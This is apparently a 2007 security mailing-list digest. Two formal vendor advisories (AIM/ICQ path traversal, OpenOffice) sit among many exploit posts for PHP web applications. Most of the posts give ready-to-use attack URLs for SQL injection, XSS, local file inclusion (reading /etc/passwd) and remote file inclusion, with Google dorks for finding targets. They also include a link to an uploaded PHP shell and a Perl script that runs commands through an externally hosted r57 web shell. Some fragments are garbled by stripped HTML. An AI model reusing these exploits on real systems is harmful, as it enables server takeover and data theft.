QuizShock 1.6.1 - Cross-Site Scripting Vulnerability
QuizShock 1.6.1 Cross-Site Scripting Vulnerability QuizShock 1.6.1 Cross-Site Scripting Vulnerabilitydiscovered by http://john-martinelli.com";>John Martinelli http://target.com/auth.php"; method="post">
UBB.threads (<= 6.1.1) SQL Injection Vulnerability
UBB.threads SQL Injection Vulnerability The variable 'C' in UBB.threads is susceptible to SQL injection. Vulnerability: http://target.com/ubbthreads.php?Cat=cat&C=' Vulnerable: UBB.threads <= 6.1.1 Google d0rk: allintitle:"Forums powered by UBB.threads" John Martinelli [EMAIL PROTECTED] http://john-martinelli.com april 8th, 2007
iDefense Security Advisory 04.09.07: AOL AIM and ICQ File Transfer Path-Traversal Vulnerability
AOL AIM and ICQ File Transfer Path-Traversal Vulnerability iDefense Security Advisory 04.09.07 http://labs.idefense.com/intelligence/vulnerabilities/ Apr 09, 2007 I. BACKGROUND AOL Instant Messenger and ICQ are instant messaging applications that allow users to exchange messages and files. More information can be found on the vendor's site at the following URLs. http://www.aim.com/ or http://www.icq.com/ II. DESCRIPTION Remote exploitation of a path-traversal vulnerability in AOL's AIM and ICQ could allow a remote attacker to place arbitrary files on the victim's machine during a file transfer operation. AIM and ICQ allow users to share and transfer files via a custom protocol. During file transfers, the sender is allowed to specify the display name of the file, and the filename used for the transfer. The recipient can only specify the folder in which to save the file. Due to an input validation flaw, the clients do not properly strip "../" traversal characters from the filename the attacker supplies. By specially encoding the path attackers can force the file to be saved to a directory of their choosing when the victim accepts the file transfer. III. ANALYSIS Exploitation of this vulnerability allows attackers to place arbitrarily named files in a directory of their choice when the victim accepts a file transfer. By default ICQ warns users that file transfers are unsafe and to only accept file transfers from trusted users. ICQ also requires that a user is on your contact list in order to accept a file transfer. Users must manually accept the file transfer in order to be exploited. During the file download, the traversal path is displayed in the filename portion of the dialog. ICQ will not overwrite existing files without prompting the user for confirmation. It is important to note that the attacker specifies the display name used in the file accept dialog. This file name is arbitrary and need not be the same as the actual file being transferred. IV. DETECTION iDefense has confirmed this vulnerability in ICQ version 5.1. Previous versions are suspected vulnerable. Additionally, AOL reported that AIM version 5.9 and prior are vulnerable. V. WORKAROUND iDefense is currently unaware of any effective workaround for this issue. VI. VENDOR RESPONSE AOL has provided the following solutions to address this vulnerability. "1. Active ICQ clients have already been patched via an automatic update. 2. Users of the AIM client 5.9 and earlier are urged to upgrade to the latest version of the AIM client from http://www.aim.com/. 3. In addition, AIM 5.9 users are also protected by a fix that has been applied to the AIM infrastructure." VII. CVE INFORMATION A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not been assigned yet. VIII. DISCLOSURE TIMELINE 02/01/2007 Initial vendor notification 02/01/2007 Initial vendor response 04/09/2007 Coordinated public disclosure IX. CREDIT The discoverer of this vulnerability wishes to remain anonymous. Get paid for vulnerability research http://labs.idefense.com/methodology/vulnerability/vcp.php Free tools, research and upcoming events http://labs.idefense.com/ X. LEGAL NOTICES Copyright © 2007 iDefense, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail [EMAIL PROTECTED] for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
rPSA-2007-0070-1 openoffice.org
rPath Security Advisory: 2007-0070-1 Published: 2007-04-09 Products: rPath Linux 1 Rating: Major Exposure Level Classification: Indirect User Deterministic Unauthorized Access Updated Versions: openoffice.org=/[EMAIL PROTECTED]:devel//1/2.2-0.1-1 References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0238 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0239 https://issues.rpath.com/browse/RPL-1118 Description: Previous versions of the openoffice.org package are vulnerable to two indirect code execution attacks, one when reading maliciously malformed StarCalc documents, and one when parsing maliciously crafted URIs. (Another vulnerability in libwpd was addressed separately, as libwpd is packaged separately in rPath Linux.)
xodagallery Remote Code Execution Vulnerability
""" """ :: ::: """ """ :: :: :: : ::""" """ :: :: : : """ """:: :: ::: ::: :: :: :: :::: """ """ :: :: :: : : : :: :: """ """ """ """ Xmor$ Security Vulnerability Research TM # Tilte: xodagallery Remote Code Execution Vulnerability # Author..: [the_Edit0r] # HomePage ...: [Www.XmorS-sEcurity.coM] # Location ...: [Iran] # Software ...: [xodagallery] # Impact..: [ Remote ] # Site Script : [http://sourceforge.net/projects/xodagallery/] # We ArE .: [ Scorpiunix,KAMY4r,Zer0.Cod3r,SilliCONIC,D3vil_B0y_ir,S.W.A.T,DarkAngel ] - Codes switch ($_GET['cmd']) line 64 --- proof Of Concept --- www.example.com/[path]/administration.php?cmd=[Command] # Contact me : the_3dit0r[at]Yahoo[dot]coM # [XmorS-SEcurity.coM]
Re: Re: Mybb Hot Editor Plugin Local File Inclusion
This site is opened only for Turkish people.The designs are like each other, but the people who are adressing by us, is another from milw0rm community. We aren't the mirror of any web site like milw0rm.
phpMyAdmin 2.6.1 Local Cross Site Scripting
""" """ :: ::: """ """ :: :: :: : ::""" """ :: :: : : """ """:: :: ::: ::: :: :: :: :::: """ """ :: :: :: : : : :: :: """ """ """ """ Xmor$ Security Vulnerability Research TM # Tilte: phpMyAdmin 2.6.1 Local Cross Site Scripting # Author..: [the_Edit0r] # HomePage: [Www.XmorS-SEurity.coM] # Location ...: [Iran] # Software ...: [phpMyAdmin ] # Impact..: [ Remote ] # Site Script : [http://sourceforge.net/projects/phpmyadmin/] # We ArE .: [ Scorpiunix,KAMY4r,Zer0.Cod3r,SilliCONIC,D3vil_B0y_ir,S.W.A.T,DarkAngel ] --- proof Of Concept --- Link : http://localhost/mysql/phpinfo.php?lang=fa-utf-8&server=1&collation_connection=utf8_general_ci http://localhost/mysql/phpinfo.php?lang[]=alert(/the_Edit0r/);&server=1&collation_connection=utf8_general_ci --- # Contact me : the_3dit0r[at]Yahoo[dot]coM # [XmorS-SEcurity.coM]
Gsylvain35 Portail Web Remote File Include Vulnerabilities
""" """ :: ::: """ """ :: :: :: : ::""" """ :: :: : : """ """:: :: ::: ::: :: :: :: :::: """ """ :: :: :: : : : :: :: """ """ """ """ Xmor$ Security Vulnerability Research TM # Tilte: Gsylvain35 Portail Web Remote File Include Vulnerabilities # Author..: [the_Edit0r] # Homepage ...: [Www.XmorS-SEcurity.coM] # Location ...: [Iran] # Software ...: [Gsylvain35 Portail Web] # Site Script : [http://sourceforge.net/projects/portail-web-php/] # We ArE .: [ Scorpiunix,KAMY4r,Zer0.Cod3r,SilliCONIC,D3vil_B0y_ir,S.W.A.T,DarkAngel ] - Codes --- proof Of Concept --- www.example.com/[path]/template/Vert/index.php?pageAll=[Sh3ll-Script] www.example.com/[path]/template/Noir/index.php?pageAll=[Sh3ll-Script] # Contact me : the_3dit0r[at]Yahoo[dot]coM # [XmorS-SEcurity.coM]
Re: Mybb Hot Editor Plugin Local File Inclusion
expw0rm dude? That is a pretty weak attempt at mirroring milw0rm.com you pretty much copied str0kes layout except you added your own crappy colors. how nice of you. -KF On Apr 9, 2007, at 9:40 AM, [EMAIL PROTECTED] wrote: http://victim.com/[path]/richedit/keyboard.php? first=../../../../../../../../../../../../../../../../../etc/passwd And upload php shell = > http://www.expw0rm.com/avatar_36.zip http://victim.com/[path]/richedit/keyboard.php?first=../../uploads/ avatars/avatar_36.gif => target isn't show with ie.plese you use firefox Dork: "MTR Paket :" ?> // Exploit Worm www.expw0rm.com orginal: http://www.expw0rm.com/mybb-hot-editor-plugin-local-file- inclusion_no114.html
Hot Editor v4.0 Local File Inclusion
Hot Editor Local File İnclude Exploit http://www.expw0rm.com";>Expw0rm By Liz0ziM
Target Url: example:
http://victim.com/richedit/
File : example :
../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
",$cek)) { echo 'Finishim'; exit();}
echo '';
echo $cek;
echo '';
}
fclose($ac);
}
?>
// Exploit Worm www.expw0rm.com
orginal: http://www.expw0rm.com/hot-editor-v40-local-file-inclusion_no113.html
Mybb Hot Editor Plugin Local File Inclusion
http://victim.com/[path]/richedit/keyboard.php?first=../../../../../../../../../../../../../../../../../etc/passwd And upload php shell = > http://www.expw0rm.com/avatar_36.zip http://victim.com/[path]/richedit/keyboard.php?first=../../uploads/avatars/avatar_36.gif => target isn't show with ie.plese you use firefox Dork: "MTR Paket :" ?> // Exploit Worm www.expw0rm.com orginal: http://www.expw0rm.com/mybb-hot-editor-plugin-local-file-inclusion_no114.html
Request It : Song Request System 1.0b - remote file inclusion
Request It : Song Request System 1.0b - remote file inclusion Software: Request It : Song Request System Type: remote file inclusion Version: 1.0b Date: 2007-04-09 Url: http://scripts.ringsworld.com/organizers/requestit/ Risc: middle Credit: http://hackberry.ath.cx mail[AT]hackberry.ath.cx Vulnerability: http://[target]/?id=[REMOTEFILE] Google dork: "[ Request us to play you a song ]"
DeskPRO v2.0.1 - Cross-Site Scripting Vulnerability
DeskPRO v2.0.1 - Cross-Site Scripting Vulnerability DeskPRO v2.0.1 - Cross-Site Scripting Vulnerabilitydiscovered by http://john-martinelli.com";>John Martinelli http://target.com/login.php"; method="post">
Remot File Include In Script Lore v1
By Hasadya Raed Contact : [EMAIL PROTECTED] Greetz : Brotha Mohammed Zeed --- Script : Lore v1 Download : http://www.pineappletechnologies.com Dork : Pineapple Technologies 2003-2005 (c) --- B.Files : class.phpmailer.php function.html_checkboxes.php --- Exploits : http://www.Victim.com/Lore v1/third_party/phpmailer/class.phpmailer.php?lang_path=[Shell-Attack] http://www.Victim.com/Lore v1/third_party/smarty/libs/plugins/function.html_checkboxes.php?get_plugin_file_path=[Shell-Attack]
Take Control In Script Jeebles Directory
By Hasadya Raed Contact : [EMAIL PROTECTED] Greetz : Yonatan | Israel --- Script : Jeebles Directory Dork : "Jeebles Directory" Site : Not Web --- Expl : http://www.Victim.com/Jeebles Directory/index.php?externalconfig
Scorp Book <== v1.0 (smilies.php) Remote File Include Exploit
# [~] Portal : Scorp Book v1.0
# [~] Download : http://www.ectona.org/download/?id=598&s=info
# [~] Author : KaRTaLl | [EMAIL PROTECTED]
# [~] Class : Remote File Include Exploit
use IO::Socket;
if (@ARGV < 2){
print "
+**+
* *
* # Scorp Book <== v1.0 (smilies.php) Remote File Include Exploit*
* *
* # Usage : xpl.pl [Target] [Path]*
* *
* # Example : xpl.pl *
* *
* Vuln & Coded By KaRTaL *
+**+
";
exit();
}
$host=$ARGV[0];
$path=$ARGV[1];
print "\n[~] Please wait ...\n";
print "[~] Shell : ";$cmd = ;
while($cmd !~ "END") {
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host",
PeerPort=>"80") or die "Connect Failed.\n\n";
print $socket "GET
".$path."/smilies.php?config=http://kartal.by.ru/r57.txt?/cmd?cmd=$cmd
HTTP/1.1\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\n";
while ($raspuns = <$socket>)
{
print $raspuns;
}
print "[~] Shell : ";
$cmd = ;
}
